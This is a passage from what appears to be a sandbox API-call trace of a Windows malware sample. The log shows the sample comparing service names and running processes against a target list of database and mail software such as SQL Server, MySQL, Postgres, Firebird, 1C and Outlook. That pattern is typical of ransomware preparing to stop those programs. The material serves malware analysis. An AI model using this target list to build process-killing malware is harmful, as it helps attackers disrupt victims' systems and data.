(lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0205.160] lstrlenW (lpString="netprofm") returned 8 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0205.160] lstrlenW (lpString="NlaSvc") returned 6 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0205.160] lstrlenW (lpString="nsi") returned 3 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0205.160] lstrlenW (lpString="PcaSvc") returned 6 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0205.160] lstrlenW (lpString="PlugPlay") returned 8 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0205.160] lstrlenW (lpString="Power") returned 5 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0205.160] lstrlenW (lpString="ProfSvc") returned 7 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0205.161] lstrlenW (lpString="RpcEptMapper") returned 12 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0205.161] lstrlenW (lpString="RpcSs") returned 5 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0205.161] lstrlenW (lpString="SamSs") returned 5 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0205.161] lstrlenW (lpString="Schedule") returned 8 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0205.161] lstrlenW (lpString="SENS") returned 4 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0205.161] lstrlenW (lpString="ShellHWDetection") returned 16 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0205.161] lstrlenW (lpString="Spooler") returned 7 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0205.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0205.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0205.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0205.161] lstrlenW (lpString="sppsvc") returned 6 [0205.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0205.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0205.162] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0205.162] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0205.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0205.162] lstrlenW (lpString="SysMain") returned 7 [0205.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0205.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0205.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0205.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0205.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0205.162] lstrlenW (lpString="Themes") returned 6 [0205.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0205.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0205.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0205.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0205.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0205.162] lstrlenW (lpString="TrkWks") returned 6 [0205.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0205.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0205.162] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0205.162] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0205.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0205.162] lstrlenW (lpString="UxSms") returned 5 [0205.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0205.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0205.162] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0205.162] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0205.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0205.162] lstrlenW (lpString="WdiServiceHost") returned 14 [0205.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0205.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0205.162] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0205.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0205.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0205.163] lstrlenW (lpString="WdiSystemHost") returned 13 [0205.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0205.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0205.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0205.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0205.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0205.163] lstrlenW (lpString="WinDefend") returned 9 [0205.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0205.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0205.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0205.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0205.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0205.163] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0205.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0205.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0205.164] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0205.164] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0205.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0205.164] lstrlenW (lpString="Winmgmt") returned 7 [0205.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0205.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0205.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0205.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0205.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0205.164] lstrlenW (lpString="wscsvc") returned 6 [0205.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0205.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0205.164] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0205.164] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0205.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0205.164] lstrlenW (lpString="wuauserv") returned 8 [0205.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0205.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0205.164] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0205.164] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0205.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0205.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0205.166] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.166] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.167] lstrlenW (lpString="System") returned 6 [0205.167] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0205.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0205.167] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0205.167] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0205.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0205.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0205.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0205.167] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.168] lstrlenW (lpString="smss.exe") returned 8 [0205.168] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0205.168] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0205.168] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0205.168] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0205.168] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0205.168] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0205.168] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0205.168] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.169] lstrlenW (lpString="csrss.exe") returned 9 [0205.169] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.169] lstrlenW (lpString="wininit.exe") returned 11 [0205.169] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.170] lstrlenW (lpString="csrss.exe") returned 9 [0205.170] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.171] lstrlenW (lpString="winlogon.exe") returned 12 [0205.171] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.171] lstrlenW (lpString="services.exe") returned 12 [0205.171] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.172] lstrlenW (lpString="lsass.exe") returned 9 [0205.172] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0205.173] lstrlenW (lpString="lsm.exe") returned 7 [0205.173] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.173] lstrlenW (lpString="svchost.exe") returned 11 [0205.174] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.174] lstrlenW (lpString="svchost.exe") returned 11 [0205.174] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.175] lstrlenW (lpString="svchost.exe") returned 11 [0205.175] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.176] lstrlenW (lpString="svchost.exe") returned 11 [0205.176] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.176] lstrlenW (lpString="svchost.exe") returned 11 [0205.176] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.177] lstrlenW (lpString="audiodg.exe") returned 11 [0205.177] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.178] lstrlenW (lpString="svchost.exe") returned 11 [0205.178] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.178] lstrlenW (lpString="svchost.exe") returned 11 [0205.178] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.179] lstrlenW (lpString="dwm.exe") returned 7 [0205.179] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.179] lstrlenW (lpString="explorer.exe") returned 12 [0205.179] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0205.180] lstrlenW (lpString="spoolsv.exe") returned 11 [0205.180] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0205.181] lstrlenW (lpString="taskhost.exe") returned 12 [0205.181] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.181] lstrlenW (lpString="svchost.exe") returned 11 [0205.181] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0205.182] lstrlenW (lpString="taskeng.exe") returned 11 [0205.182] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0205.182] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0205.182] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0205.183] lstrlenW (lpString="nova.exe") returned 8 [0205.183] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0205.184] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0205.184] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0205.184] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0205.184] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0205.185] lstrlenW (lpString="picks blair.exe") returned 15 [0205.185] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0205.186] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0205.186] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0205.186] lstrlenW (lpString="principal.exe") returned 13 [0205.186] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0205.187] lstrlenW (lpString="transportation.exe") returned 18 [0205.187] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0205.188] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0205.188] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0205.188] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0205.188] Process32NextW (in: hSnapshot=0x1a8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 